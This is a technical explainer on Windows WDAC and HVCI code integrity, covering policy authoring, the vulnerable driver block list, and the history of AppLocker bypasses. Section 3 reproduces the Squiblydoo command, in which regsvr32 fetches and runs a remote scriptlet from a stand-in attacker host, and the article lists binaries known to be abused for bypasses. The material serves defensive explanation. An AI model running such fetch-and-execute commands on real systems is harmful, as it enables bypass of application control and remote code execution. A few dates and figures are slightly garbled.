WDAC + HVCI: Code Integrity at Every Layer in Windows

1. Signed Code Still Isn't Trusted Code#

A red-team operator drops a signed, valid, never-revoked OEM driver onto a freshly-imaged Windows 11 24H2 box with the default WDAC policy enforced and HVCI on. The driver is dbutil_2_3.sys, a real Dell utility tracked as CVE-2021-21551, with an authentic Microsoft-trusted certificate in its embedded signature. The sc.exe create call returns success. The StartService call spins for roughly eight microseconds. Then the driver fails to load with ERROR_DRIVER_BLOCKED, and the Microsoft-Windows-CodeIntegrity/Operational event log lights up with event 3033.

The driver is not malware. It is a perfectly legitimate diagnostic utility that Dell shipped to hundreds of millions of laptops between 2009 and 2021, signed by a certificate that chains to a root in the Microsoft Trusted Root Program. The certificate has not expired. It has not been revoked. The driver itself is intact -- not modified, not repacked, not even slightly truncated. And it cannot run.

That eight-microsecond refusal is the entry point of this article. It raises four questions that the next ten sections answer in order. Which Windows component refused the load? What policy language did it consult? How did that policy reach the device? And, most uncomfortably, which classes of attack would still get to the kernel anyway?

This article is the operational sequel to a sibling piece on App Identity. The App Identity article argues what code identity is in Windows -- Authenticode, Kernel Mode Code Signing (KMCS), publisher chains, hash strategies. This article argues what Windows does with that identity at every page-fault. The two pieces compose: identity is the noun; enforcement is the verb. Where App Identity argues what Windows means by "this is the same bag of bytes the publisher signed," this article argues what the OS does with that fact at every PE load. The two reduce, together, to a single sentence that we will earn the right to write by section five: code integrity at every layer is not a slogan; it is a page-fault sequence that runs dozens of times during one driver load.

sequenceDiagram
participant Op as Operator (sc.exe)
participant SCM as Service Control Manager
participant NT as NT Loader (NtLoadDriver)
participant CI as CI.dll (VTL0)
participant Sk as SkCi.dll (VTL1)
participant SLAT as Hypervisor SLAT
Op->>SCM: sc.exe create / start
SCM->>NT: NtLoadDriver(\dbutil_2_3.sys)
NT->>CI: Validate Authenticode + policy
CI->>Sk: Secure call: revalidate + check Block List
Sk->>Sk: Hash matches Block List entry
Sk-->>SLAT: Refuse W->X promotion
SLAT-->>NT: Page-fault on first execute
NT-->>SCM: STATUS_DRIVER_BLOCKED
SCM-->>Op: ERROR_DRIVER_BLOCKED + event 3033

But before we can explain how the load was refused, we have to explain why this kind of refusal is a twenty-five-year-old engineering problem. Two earlier Microsoft answers, Software Restriction Policies and AppLocker, were the wrong shape -- and the wrong shape in instructive ways.

2. Historical Origins: The 1990s Free-for-All and the Birth of "Path Is Not Identity"#

In 2001, a Windows XP user double-clicked a .vbs attachment and the OS asked nobody before running it. Code Red, Nimda, and MS Blaster had not yet finished teaching Microsoft why that was a bad design, but the theoretical ground was already a decade and a half old. Fred Cohen had proved, in his 1984 paper Computer Viruses -- Theory and Experiments, that general malware detection is undecidable -- without detection, containment is, in general, impossible. The verbatim form of that result is reserved for §8 below, where the theoretical-limits argument turns on it. If detection was off the table as a general primitive, the only remaining engineering option was the opposite of detection: an explicit allowlist.

Authenticode existed since Internet Explorer 3 in 1996, but it was advisory -- a "Security Warning" dialog the user could click past. The first OS-level enforcement primitive arrived with Windows XP and Server 2003 in the form of Software Restriction Policies (SRP). SRP was the first time the kernel was asked to refuse a load on the strength of an administrator-set rule, not a user click.

SRP shipped four ways to identify a binary, but the architectural lesson it forced into the open was about the first of those four. Path rules looked elegant on paper -- "trust everything in C:\Program Files" -- and lethal in practice, because a path is not a property of a binary. A path is the coordinates of a place a bag of bytes happens to sit, and any attacker who can write to that place inherits the trust attached to it. World-writable directories under %TEMP%, %APPDATA%, and various inherited-permission folders under C:\Program Files itself meant that path rules were structurally a lie. Hash rules were correct but brittle; certificate rules were correct but coarse; zone rules were correct but circumventable through a download into a trusted zone.

Path is not identity. A path is a place a bag of bytes happens to sit; an attacker who can write to that place inherits the trust. This sentence will recur three times in this article -- at SRP, at AppLocker, and at WDAC's path-rule writeability check -- because every generation of Windows app-control re-learned it at a new layer.

gantt
title Windows app-control + HVCI lineage 2001-2025
dateFormat  YYYY-MM
section App-control rail
SRP (Windows XP)                  :2001-10, 17M
AppLocker (Windows 7)             :2009-07, 72M
Configurable CI (Windows 10 1507) :2015-07, 27M
WDAC rename (1709) + ISG/MI       :2017-04, 24M
Multi-policy WDAC (1903)          :2019-05, 60M
ACfB rebrand (2024)               :2024-01, 24M
section HVCI / VBS rail
HVCI in Device Guard (1507)       :2015-07, 13M
HVCI rename (1607)                :2016-08, 20M
MBEC/GMET reporting (1803)        :2018-04, 25M
KDP (Windows 10 2004)             :2020-05, 16M
Driver Block List GA (Win 11 22H2):2022-09, 24M
KB5042562 Downdate fix            :2025-07, 5M

The first inflection point came when the mass-mailer worms of 2001-2004 made it operationally embarrassing for Microsoft to keep shipping an OS in which "double-click runs anything." Microsoft's Trustworthy Computing memo dates to January 2002 -- Bill Gates' company-wide email pivoting Windows engineering toward security as a first-class deliverable. SRP was its first concrete app-control answer. Microsoft's own Windows Server 2003 SRP technical reference describes the architecture: when a user double-clicks an executable, the enforcement API SaferIdentifyLevel is called to determine the rule details that apply. The same page enumerates the Safer API, the Group Policy Editor extension, the WinVerifyTrust integration with Authenticode, the Event Viewer logging, and Active Directory + Group Policy as the propagation substrate.

SRP showed the shape of the answer -- admin-set policy, OS-enforced, applied before launch -- but it failed on three properties the next generation would try to close. It failed on granularity because path was its primary identity. It failed on audience because it had no per-user or per-group scoping. And it failed on surface because script hosts (wscript.exe, cscript.exe) had to opt in to consult its rules. AppLocker arrived in Windows 7 to fix all three. And it discovered that even closing all three is not enough.

3. Early Approaches: AppLocker, Squiblydoo, and the Engineering of "Publisher Is Not Enough"#

April 19, 2016. Casey Smith publishes a four-line command on his subt0x10 blog: regsvr32 /s /n /u /i:http[:]//attacker/x.sct scrobj.dll. The command bypasses an AppLocker-locked-down workstation with executable and script rules enforced, and -- because every default Microsoft AppLocker policy allows binaries published by O=Microsoft Corporation -- the same trick works against the canonical default rules out of the box. It leaves no registry artefact, requires no admin rights, runs the attacker's code under the user's token, and -- this is the part that hurts -- cannot be patched. Because the binary it abuses is signed by Microsoft, it is on every default allowlist. The technique gets the nickname Squiblydoo, gets MITRE ATT&CK ID T1218.010, gets used in campaigns targeting governments, and gets the LOLBAS project named partly in its honour.

To understand why Smith's command was a class of failure rather than a specific bug, look at AppLocker's design. AppLocker shipped in Windows 7 and Server 2008 R2 in July 2009 with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Per-user and per-group scoping was the explicit win over SRP, and enforcement moved out of the Safer API into a dedicated Application Identity service (appidsvc) plus the appid.sys filter driver, so script hosts no longer needed to opt in to consult policy. AppLocker was, on paper, every fix SRP needed.

The Squiblydoo bypass is mechanical once you see it. AppLocker's publisher rule for O=Microsoft Corporation says yes to regsvr32.exe. The argument-parsing code inside regsvr32.exe is policy-blind -- it does not consult AppLocker before deciding to follow the /i:URL flag. The remote scriptlet is fetched, parsed, and the JScript inside it is executed in-process. AppLocker has logged a successful launch of a Microsoft-signed binary and seen nothing worth blocking. The malicious code now runs with the launching user's token, with no on-disk artefact, with no registry footprint, with no need to escalate.

sequenceDiagram
participant U as User session
participant Reg as regsvr32.exe (signed)
participant AL as AppLocker check
participant Atk as attacker.com
participant JS as JScript engine
U->>Reg: Spawn with /i:<a href="http://atk/x.sct">http://atk/x.sct</a> scrobj.dll
Reg->>AL: Publisher = Microsoft Corp?
AL-->>Reg: PASS (publisher rule allows)
Reg->>Atk: HTTP GET x.sct (TLS, proxy-aware)
Atk-->>Reg: Scriptlet (JScript COM)
Reg->>JS: Instantiate scriptlet in-process
JS-->>Reg: Arbitrary code under user token
Reg-->>AL: Process exit logged "successful launch"

The bypass-research record is the size of a small university faculty. Microsoft's own bypass catalogue thanks fifteen researchers by name in its acknowledgements footer (Casey Smith, Matt Graeber, James Forshaw, Oddvar Moe, Matt Nelson, Will Dormann, Lasse Trolle Borup, Lee Christensen, Jimmy Bayne, Vladas Bulavas, William Easton, Brock Mammen, Kim Oppalfens, Philip Tsukerman, and Alex Ionescu).

The catalogue itself enumerates roughly forty signed Microsoft binaries that should be blocked unless explicitly required: addinprocess.exe, bash.exe, cdb.exe, cscript.exe, csi.exe, dnx.exe, dotnet.exe, fsi.exe, infdefaultinstall.exe, kd.exe, kill.exe, lxrun.exe, Microsoft.Workflow.Compiler.exe, msbuild.exe, mshta.exe, ntkd.exe, ntsd.exe, powershellcustomhost.exe, rcsi.exe, runscripthelper.exe, system.management.automation.dll, texttransform.exe, visualuiaverifynative.exe, wfc.exe, windbg.exe, wmic.exe, wscript.exe, and wsl.exe are all explicitly listed. The MITRE ATT&CK record for T1218.010 (Regsvr32) credits Smith for the technique and dates its documented in-the-wild use to multiple "campaigns targeting governments." The "Squiblydoo" nickname itself is widely attributed to Carbon Black's April 2016 threat advisory, which MITRE cites as reference [3]. The LOLBAS project entry for Regsvr32 preserves the verbatim AWL bypass syntax that Smith published.

Microsoft's own architectural surrender is in the AppLocker overview itself, in a sentence the company has now repeated for a decade -- captured verbatim in the PullQuote below. The Microsoft Security Response Center, in other words, will not treat an AppLocker bypass as a vulnerability. AppLocker remains supported, remains documented, and remains deployed in millions of enterprises -- but Microsoft has moved its security-boundary commitment to a different feature.

"AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature." -- Microsoft Learn, AppLocker overview, 2026.

4. The Evolution: Two Parallel Rails Converging on the Runtime Loop#

From July 2015, Microsoft's answer evolved on two parallel rails inside Windows 10. One rail -- the configurable Code Integrity policy that would later be renamed WDAC -- replaced AppLocker's policy language with an XML schema and put the enforcement check inside the kernel. The other rail -- HVCI -- put the kernel CI check itself underneath the kernel, in a hypervisor-rooted Virtual Trust Level the attacker cannot reach. The rails converged in 2019 with multi-policy WDAC, and again in September 2022 when the Driver Block List started shipping on by default.

4a. The WDAC Rail#

Configurable Code Integrity (CCI) under Device Guard shipped in Windows 10 1507 in July 2015. For the first time, Microsoft's app-control engine consumed an XML policy: a schema with Signers, FileRules, SigningScenarios, and the rule-option toggles that a 2026 administrator still recognises today. The engine binary was CI.dll, and CI.dll is still the engine binary today. CCI was, from day one, serviced under MSRC criteria -- the load-bearing operational distinction from AppLocker, because Microsoft now treats a bypass of CCI as a security vulnerability.

The 2017 rebranding decoupled the engine from the marketing. In October 2017 Microsoft published a blog post that admitted, in a sentence that has since become a Microsoft Learn citation, that "we estimate that only about 20% of our customers are using any type of application control technology." The same post announced the rename from "configurable CI" to Windows Defender Application Control, and explained that the original Device Guard story had "unintentionally left an impression for many customers that the two features were inexorably linked and could not be deployed separately."

The post also disclosed that "in the Windows 10 Creators Update (1703) released last spring we introduced an option to WDAC called managed installer." Managed Installer is therefore a 1703 feature (April 2017), not a 1709 feature. ※ This date precision matters. Earlier informal histories pin both ISG and Managed Installer to 1709; the verbatim primary makes Managed Installer a 1703 feature and ISG (rule option 14) a 1709 feature.

The architectural inflection arrived in Windows 10 1903 (May 2019) with multi-policy WDAC. Up to thirty-two active policies could now coexist on a single machine, with base-policy and supplemental-policy composition rules: two base policies intersect (a binary must be allowed by both to run), while a base and a supplemental union (allowed by either is enough). The architectural payoff is operational. The Driver Block List can now ship as a standalone WDAC policy and stack alongside an organisation's existing allowlist, without a merge-and-resign ceremony every quarter. The thirty-two-policy ceiling has since moved. The Microsoft Learn page on multi-policy deployment documents that the cap is removed on devices that have applied the April 9, 2024 cumulative update -- with one carve-out for Windows 11 21H2, where the limit remains thirty-two indefinitely.

The 2024 rename to App Control for Business changed the URL path on Microsoft Learn and not much else. The binary is still CI.dll; the schema is still SiPolicy; the rule options are still numbered the same way. Throughout the rest of this article we will use "WDAC" for prose searchability, with the understanding that "App Control for Business," "configurable code integrity," and "Device Guard kernel CI" all refer to the same engine.

flowchart LR
Root[SiPolicy XML]
Root --> Rules[Rules
policy options 0-20+]
Root --> Signers[Signers
signer identities]
Root --> FileRules[FileRules
Hash, FilePath, FileName, FilePublisher]
Root --> Scenarios[SigningScenarios
KMCI 131, UMCI 12]
Root --> Hvci[HvciOptions
0, 1, 2, 4]
Root --> Update[UpdatePolicySigners
who may replace policy]
Root --> Suppl[SupplementalPolicySigners
who may augment]
Root --> Ci[CiSigners
trusted signer set in UMCI]

4b. The HVCI Rail#

In August 2006, Joanna Rutkowska stood up at Black Hat USA and demonstrated Blue Pill, a rootkit based on AMD-V hardware virtualization that loaded itself underneath the running operating system. The point was not the rootkit. The point was a threat-model anchor: if attackers can own the hypervisor, no kernel-mode mitigation can trust the kernel below it. The architectural answer Microsoft would eventually deploy is simple to state and hard to build: own the hypervisor first. Rutkowska's Black Hat USA 2006 presentation demonstrated Blue Pill against Windows Vista; the deck was 52 pages, the rootkit was an AMD Pacifica (AMD-V) demonstration, and the talk was given on August 3, 2006. Alex Ionescu would invert the same architecture nine years later for HVCI -- the hypervisor is now the defender's substrate.

Device Guard kernel-mode CI / HVCI shipped in Windows 10 1507 in July 2015 on a hardware-rooted hypervisor that Microsoft built specifically to host this kind of trust check. The architecture is clean. SkCi.dll runs inside Virtual Trust Level 1, the higher-privileged of the two VTLs the hypervisor exposes. The NT kernel runs in VTL0. When the NT kernel needs to validate a driver image, it asks VTL1 -- and only after VTL1 says yes does the hypervisor flip the SLAT entries for the driver's code pages from W to X.

The next four versions of Windows 10 added one capability each. Windows 10 1607 (August 2016) renamed the feature to HVCI, severed the marketing tie to Device Guard, and added a Windows Security app toggle. Windows 10 1803 (April 2018) added Mode-Based Execution Control reporting on Intel Kabylake-and-later silicon; AMD's Zen 2 added the equivalent Guest Mode Execute Trap. Older silicon falls back to Restricted User Mode emulation, which the same Microsoft Learn page warns "will have a bigger impact on performance."

Windows 10 2004 (May 2020) added Kernel Data Protection (KDP), the second floor of the W$\oplus$X discipline -- once code is unforgeable, attackers shift to data corruption, so KDP makes selected kernel data ranges unforgeable too. Windows 11 22H2 (September 2022) made HVCI on by default for most new Windows 11 devices, and shipped the Vulnerable Driver Block List on by default alongside it.

flowchart TB
VTL0["VTL0 -- NT kernel + CI.dll
'asks' for execute permission"]
HV["Hypervisor -- hvix64.exe / hvax64.exe
holds SLAT page tables"]
VTL1["VTL1 -- Secure Kernel + SkCi.dll
validates Authenticode + Block List"]
Page["Driver image page
state: Writable -> ReadOnly+Execute"]
VTL0 -- "Secure call: validate image" --> VTL1
VTL1 -- "If signed and not blocked" --> HV
HV -- "Flip SLAT entry W->X" --> Page
Page -- "Future write from VTL0" --> HV
HV -- "Page-fault, no transition" --> VTL0

By 2022 the two rails had converged at the operational level. The Driver Block List shipped as a standalone WDAC policy that HVCI's SkCi.dll enforced in VTL1 on every kernel-mode driver load. Now we can finally answer the question that opened this article: which Windows component refused the BYOVD load? The honest answer is both rails working together at the page-fault. That sequence is the next section.

5. The Breakthrough: The Runtime Enforcement Loop, End-to-End#

Open Process Monitor, watch a kernel driver load, and the human-readable output is IRP_MJ_CREATE returns success. Open WinDbg against a kernel-mode debugger session, set a breakpoint on SeCodeIntegrityVerifySection, watch the same load, and roughly forty distinct trust decisions happen between NtCreateSection and the moment the driver's DriverEntry is allowed to execute. The forty-decision shape is folk knowledge from the kernel-debugger community; the architecture that produces it is documented. Here is the seven-step walk that wraps it.

The first step is NtCreateSection. The kernel parses the PE image, locates the Authenticode signature in the directory entry of the optional header, and resolves the signature's PKCS#7 envelope. Step two: SeCodeIntegrityVerifySection calls into CI.dll under \Windows\System32\. CI.dll builds a SignerHash structure for the PE -- the bound publisher identity, the leaf certificate hash, the cryptographic page-hash table -- and then opens the policy state under C:\Windows\System32\CodeIntegrity\CIPolicies\Active\. ※ The exact function names here -- SeCodeIntegrityVerifySection, CipMincryptValidateImageHeader -- are kernel-debugger artefacts; the Microsoft Learn page on memory integrity confirms only the higher-level "kernel mode code integrity process" terminology. We name the functions because the debugger view is the only way to see the loop in motion; treat them as kernel-debugger paraphrase, not as Microsoft Learn quotes.

Step three is the policy state machine. The walk has a fixed precedence. Explicit deny rules win first -- this is where the Driver Block List entry for dbutil_2_3.sys terminates the load. Explicit allow rules are next, then signer-level rules, then Intelligent Security Graph cloud verdicts (when rule option 14 is enabled), and finally the Mark-of-the-Web disposition for the file. For a kernel-mode driver, step four forwards the verdict into VTL1 via a secure call -- the hypervisor-mediated cross-VTL invocation primitive that Microsoft introduced for VBS.

In step five, SkCi.dll inside VTL1 revalidates the Authenticode signature against its own trusted-root set, consults the per-VTL SLAT page-table state for the proposed image pages, checks the policy's HvciOptions element, and only then permits the hypervisor to flip the relevant SLAT entries from W to X.

Step six returns control to the loader; the driver's image is now executable in VTL0 and its pages are read-only from VTL0's perspective for the lifetime of the load. Step seven is the safety net: any later attempt to write to those pages from VTL0 -- a kernel exploit, a malicious driver, an attacker with a kernel debugger attached -- page-faults at the SLAT layer, intercepted by the hypervisor (hvix64.exe on Intel, hvax64.exe on AMD), not by the kernel that the attacker may already control.

Code integrity at every layer is not a slogan. It is a page-fault sequence that runs dozens of times during one driver load. Step five is the architectural inversion: VTL1 holds the validation key, VTL0 cannot reach VTL1, and the hypervisor enforces the separation in silicon-mediated SLAT entries.

sequenceDiagram
participant L as NT Loader
participant CI as CI.dll (VTL0)
participant Pol as Active policy state
participant Hv as Hypervisor (hvix64.exe)
participant Sk as SkCi.dll (VTL1)
participant SLAT as SLAT page tables
L->>CI: NtCreateSection(image)
CI->>CI: Parse Authenticode + page-hash table
CI->>Pol: Lookup C:\Windows\System32\CodeIntegrity\CIPolicies\Active

Pol-->>CI: Verdict (deny / allow / signer / ISG)
CI->>Hv: Secure call: revalidate this kernel image
Hv->>Sk: Forward to VTL1
Sk->>Sk: Re-check signature + Block List
Sk-->>Hv: PASS or FAIL
Hv->>SLAT: If PASS, flip page state W -> X (read-only execute)
SLAT-->>L: DriverEntry executes in VTL0
Note over SLAT,Hv: Future VTL0 write to these pages -> SLAT page-fault

The seven-step walk maps cleanly onto a small reference table that any administrator should have on a sticky note. The event IDs in the right column are the Microsoft-Windows-CodeIntegrity/Operational channel entries that show up in Event Viewer under each verdict.

The third visual for this section is the Win32_DeviceGuard decoder a 2026 administrator runs to confirm the loop is actually live on a representative endpoint. The WMI surface decodes a small set of magic numbers that map to silicon and hypervisor capabilities.

// Demonstrates the logic of:
//   Get-CimInstance -ClassName Win32_DeviceGuard
//     -Namespace root\Microsoft\Windows\DeviceGuard
//
// AvailableSecurityProperties returns an array of small integers.
// Decode them against the Microsoft Learn-documented mapping.
const SECURITY_PROPS = {
1: 'Hypervisor support (VBS-capable CPU)',
2: 'Secure Boot is available',
3: 'DMA protection is available',
4: 'Secure Memory Overwrite is available',
5: 'NX protections are available',
6: 'SMM mitigations are available',
7: 'MBEC/GMET is available (Intel Kabylake+ / AMD Zen 2+)',
8: 'APIC virtualization is available',
};

// Pretend we just received this from a remote endpoint:
const sample = {
AvailableSecurityProperties: [1, 2, 3, 5, 7],
VirtualizationBasedSecurityStatus: 2, // 2 = running
SecurityServicesRunning: [2],         // 2 = HVCI active
};

console.log('VBS status:',
sample.VirtualizationBasedSecurityStatus === 2 ? 'RUNNING' : 'OFF');
console.log('HVCI:',
sample.SecurityServicesRunning.includes(2) ? 'ACTIVE' : 'INACTIVE');
console.log('Capabilities:');
for (const id of sample.AvailableSecurityProperties) {
console.log('  -', SECURITY_PROPS[id] || ('unknown:' + id));
}

We now have an answer to the question that opened section one. When dbutil_2_3.sys loaded against a default Windows 11 24H2 box with HVCI on, step five happened. SkCi.dll consulted the Vulnerable Driver Block List inside its own active policy state, matched the file hash against the published deny entry for CVE-2021-21551, refused the SLAT promotion, and the load failed with event 3033. Eight microseconds. The same loop runs on every driver load on every HVCI-enabled Windows 11 device on the planet. Now we have to operate it.

6. State of the Art: Authoring, Signing, Deploying, Monitoring#

Knowing how the loop works is necessary; running it is the actual job. A 2026 Windows estate that wants the eight-microsecond refusal to fire on its own endpoints needs five operational disciplines, in this order: authoring, audit-mode discovery, signing, deployment, and monitoring.

6.1 Authoring#

Authoring starts from one of the example base policies Microsoft ships under %OSDrive%\Windows\schemas\CodeIntegrity\ExamplePolicies\. The directory contains DefaultWindows_Audit.xml (a sane starting allowlist that runs in audit mode), AllowMicrosoft.xml, AllowAll.xml, AllowAll_EnableHVCI.xml, DenyAllAudit.xml, and the canonical SmartAppControl.xml / SignedReputable.xml consumer-grade template. There is also RecommendedDriverBlock_Enforced.xml -- the on-disk form of the Vulnerable Driver Block List -- and the S-mode templates WinSiPolicy.xml and WinSEPolicy.xml.

The PowerShell call that mints a new base policy is New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat. The -Level flag picks one of the eight rule-level identities -- Hash, FilePath, FileName, FilePublisher, LeafCertificate, PcaCertificate, RootCertificate, and the WHQL family -- in increasing order of brittleness-to-strictness tradeoff. FilePublisher is the modern default for most enterprise scenarios because it scopes trust to a publisher tuple plus a product name plus a binary name plus a minimum version, rather than an unbounded "anything from this signer" allowance.

6.2 Audit-mode discovery#

Audit mode is the architectural prerequisite for not bricking your fleet. Microsoft Learn is unambiguous: "We recommend that you use Enabled:Audit Mode initially because it allows you to test new App Control policies before you enforce them. With audit mode, applications run normally but App Control logs events whenever a file runs that isn't allowed by the policy." Set-RuleOption -Option 3 on the policy XML enables audit mode; Set-RuleOption -Option 3 -Delete removes it and switches the policy into enforce mode. In between, the SOC harvests Microsoft-Windows-CodeIntegrity/Operational event 3076 entries with Get-WinEvent, and New-CIPolicy -Audit mints a discovery policy from the observed blocks that you can merge into the base.

6.3 Signing#

A signed WDAC policy is an order of magnitude harder to disable than an unsigned one. The signing ceremony has a fixed shape: Add-SignerRule -Update to add the signer that may replace the policy in future, Set-RuleOption -Option 6 -Delete to drop "Enabled:Unsigned System Integrity Policy" so the policy refuses to load unless signed, ConvertFrom-CIPolicy to produce the binary .cip, and signtool.exe with an RSA-2048-or-larger certificate to attach the signature. Microsoft Learn documents the signed-policy prerequisites: Secure Boot must be on; ECDSA certificates are explicitly unsupported; and the policy's VersionEx must be monotonically increasing across replacements.

6.4 Deployment and stacking#

Multiple-policy WDAC is the deployment model since Windows 10 1903. Up to thirty-two active policies sit in C:\Windows\System32\CodeIntegrity\CIPolicies\Active\, or unlimited on devices that have the April 9, 2024 cumulative update. Base-and-supplemental composition (<SupplementalPolicySigner>) lets a divisional supplemental policy union into a corporate base. The <HvciOptions> element toggles HVCI from inside the policy XML itself. The published RecommendedDriverBlock_Enforced.xml policy is designed to stack alongside an organisation's allowlist without merging.

Deployment surfaces today are: the Intune App Control for Business CSP, Configuration Manager's App Control task sequence, and Group Policy. Group Policy supports only the single-policy format on Windows Server 2016 and 2019 -- a structural reason to prefer Intune or ConfigMgr for any fleet that wants modern multi-policy stacking.

flowchart LR
A[DefaultWindows_Audit.xml]
B[Set-RuleOption -Option 3
Deploy in audit mode]
C[Get-WinEvent CodeIntegrity-Operational
collect event 3076]
D[New-CIPolicy -Audit
mint supplemental from blocks]
E[Merge supplemental + base]
F[Set-RuleOption -Option 3 -Delete]
G[ConvertFrom-CIPolicy + signtool]
H[Deploy enforced via Intune / ConfigMgr]
A --> B --> C --> D --> E --> C
E --> F --> G --> H

6.5 Monitoring#

Monitoring rests on two telemetry sources. The first is the Microsoft-Windows-CodeIntegrity/Operational channel on the endpoint, with the six event IDs from section five. The second is Defender for Endpoint advanced hunting, where the DeviceEvents table carries AppControlExecutableAudited, AppControlExecutableBlocked, and AppControlCodeIntegrityDriverRevoked rows. The two stitch together: a single 3033 event on the endpoint maps to a single AppControlCodeIntegrityDriverRevoked row in the SIEM.

The third leg of the monitoring tripod is the Defender Attack Surface Reduction rule with GUID 56a863a9-875e-4185-98a7-b882c64b5ce5 -- Block abuse of exploited vulnerable signed drivers. The ASR rule lives in Defender for Endpoint and fires regardless of whether HVCI is on, which makes it the canonical safety net for endpoints that are HVCI-incapable or that have HVCI temporarily disabled for compatibility.

The sixth visual for this section is the FilePublisher rule computer -- a JS demo that walks the publisher tuple a New-CIPolicy -Level FilePublisher invocation extracts from a PE binary.

// Demonstrates the logic of:
//   New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash
//
// The FilePublisher level scopes trust to: O= + CN= + ProductName + BinaryName
// + minimum Version. Anything from the same publisher with the same product
// and binary names, at or above the version bar, satisfies the rule.
function filePublisherRule(pe) {
return {
  O: pe.signer.organization,
  CN: pe.signer.commonName,
  ProductName: pe.versionInfo.productName,
  BinaryName: pe.versionInfo.originalFilename,
  MinimumVersion: pe.versionInfo.fileVersion,
};
}

const peSample = {
signer: { organization: 'Microsoft Corporation', commonName: 'Microsoft Windows' },
versionInfo: {
  productName: 'Microsoft Windows Operating System',
  originalFilename: 'powershell.exe',
  fileVersion: '10.0.26100.1',
},
};

const rule = filePublisherRule(peSample);
console.log('Generated FilePublisher rule:');
for (const [k, v] of Object.entries(rule)) console.log('  ' + k + ' = ' + v);
console.log('Anything at or above version', rule.MinimumVersion, 'will satisfy this rule.');

WDAC + HVCI is now operational on a 2026 Windows estate. But this is not the only design point in the industry, and the design choices Microsoft made -- XML schema, hypervisor-rooted enforcement, per-PE-load evaluation -- become visible only by contrast. Apple, Linux, and Android all answer the same question with different shapes.

7. Competing Approaches: Apple, Linux, Android#

Three other major operating systems answer the question "which code is allowed to run on this device." None of them answer it the way Windows does. The contrast is what makes the Windows answer visible.

macOS combines Gatekeeper, notarization, System Integrity Protection (SIP, shipped September 16, 2015), and the Apple Mobile File Integrity (AMFI) kext. The trust model is single-CA: every executable that wants to run outside the App Store must be signed by an Apple-identified developer and notarized by Apple. There is no XML policy schema for an enterprise to author and sign; the trust list is whatever Apple decides. The closest macOS analogue to HVCI is Kernel Integrity Protection on Apple Silicon, which together with Fast Permission Restrictions and Pointer Authentication Codes enforces a hardware-rooted kernel-execution invariant -- but the policy is fixed at silicon design time, not configurable by the deploying organisation.

Linux ships Integrity Measurement Architecture (IMA), introduced in kernel 2.6.30 in 2009, with the Extended Verification Module (EVM) for off-line attack protection and dm-verity for read-only rootfs verification. IMA is the closest Linux analogue to WDAC's audit pipeline: it can collect file measurements, store them in a kernel-resident list (and extend a TPM PCR if hardware is present), attest them remotely, and appraise them against a "good" value held in extended attributes. Mainstream desktop and server distributions, however, rarely turn on appraisal. There is no hypervisor-rooted W$\oplus$X-for-the-kernel default in mainstream Linux; the closest analogue is Confidential Computing's TDX or SEV-SNP overlay, and that is opt-in.

Android combines Android Verified Boot (AVB), introduced in Android 8.0, which extends a hardware-protected root of trust through bootloader, boot partition, system partition, and vendor partition with rollback protection; the APK Signature Schemes v1 (JAR-based), v2 (Android 7.0), v3 (Android 9), and v4 (Android 11); the Play Integrity API; and a SELinux mandatory-access-control profile. Runtime enforcement happens at the Zygote process forking boundary, at app installation, and at IPC -- not at every PE load. The trust unit is the per-app developer signature, not a tenant-authored policy.

The Windows distinction is structural. A hypervisor-rooted runtime enforcement loop, against an XML-schema author-anywhere policy, evaluated at every PE load by a kernel binary that itself cannot run unsigned: no other mainstream OS combines all four properties. The post-CrowdStrike Falcon outage of July 2024 motivated Microsoft to start pushing third-party EDR vendors out of the kernel and into the VBS Trustlet model. Microsoft's September 2024 Windows endpoint security summit blog post is the primary record of that pivot. WDAC + HVCI is the kernel-side enforcement layer; VBS Trustlets are the userland-but-isolated enforcement layer. The two cohabit: Trustlets do not replace HVCI, and HVCI does not replace Trustlets. The cross-link to a sibling article on VBS Trustlets is the right place to follow that thread further.

The Windows answer is structurally singular. It is also, because of that ambition, the answer with the deepest theoretical limits. Two of those limits date back to 1936 and 1986.

8. Theoretical Limits: Cohen, Rice, and the Forever-Open Surface#

Fred Cohen proved in his 1984 paper Computer Viruses -- Theory and Experiments that the general problem WDAC tries to solve is undecidable. "Detection of a virus is shown to be undecidable both by a-priori and runtime analysis," Cohen wrote in the abstract, "and without detection, containment is, in general, impossible." Cohen completed his Ph.D. at USC in 1986, where Leonard Adleman (the A in RSA) was on the faculty and had supervised his earlier 1983 in-class virus demonstration; the paper itself was reprinted in Computers & Security in 1987. The result is the bedrock theoretical lower bound for every malware-detection system that has ever shipped.

WDAC is not a detector; it is an allowlist. That choice is not engineering taste; it is mathematical necessity. An allowlist asks a decidable question -- is this exact bag of bytes, with this exact signature, on the trusted list? -- which is decidable in O(1) given a hash table. It trades Cohen-decidability for completeness loss: every binary not on the list is refused, including binaries that would have been safe. That tradeoff is the entire engineering shape of WDAC.

WDAC is not a detector; it is an allowlist. That choice is not engineering taste; it is mathematical necessity. The bypass catalogue is not a backlog of bugs Microsoft hasn't fixed; it is the empirical residue of an undecidable problem.

The W$\oplus$X ceiling is the second theoretical limit. HVCI guarantees that no kernel page is ever both writable and executable, which closes the entire class of attacks that write a new payload into kernel memory and then jump to it. But a return-oriented or jump-oriented programming gadget chain composed entirely of existing executable bytes never violates W$\oplus$X. The attacker stitches together short snippets ending in RET instructions, all of which were already in the kernel's executable text section, and the resulting computation is Turing-complete. Kernel Data Protection closes the data-corruption variant -- attackers shifting from modify code to modify data that drives code -- but the control-flow attack class remains.

The Driver Block List arms race is the third structural limit. Microsoft's own Learn page on the Block List says it out loud -- the verbatim quote is in the PullQuote below. The official list is a curated working set; the LOLDrivers community catalogue tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026. The lag is structural. It is the price Microsoft pays for not bricking an entire vendor's installed base.

"It's often necessary for us to hold back some blocks to avoid breaking existing functionality while we work with our partners who are engaging their users to update to patched versions." -- Microsoft Learn, Microsoft recommended driver block rules, 2026.

The fourth limit is the bug-bounty calibration. Microsoft prices an L1 guest-to-host RCE in the Hyper-V hypervisor at $5,000 to$250,000 USD on its public bounty page. The top of that range is one calibration of how hard the hypervisor-rooted upper bound is to break. It also implies, by negative inference, the floor: any attack that does not break out of an L1 guest VM is, by definition, not eligible for the top bracket -- so the same bracket is implicitly Microsoft's view of how much it values an attack that compromises the HVCI substrate from above.

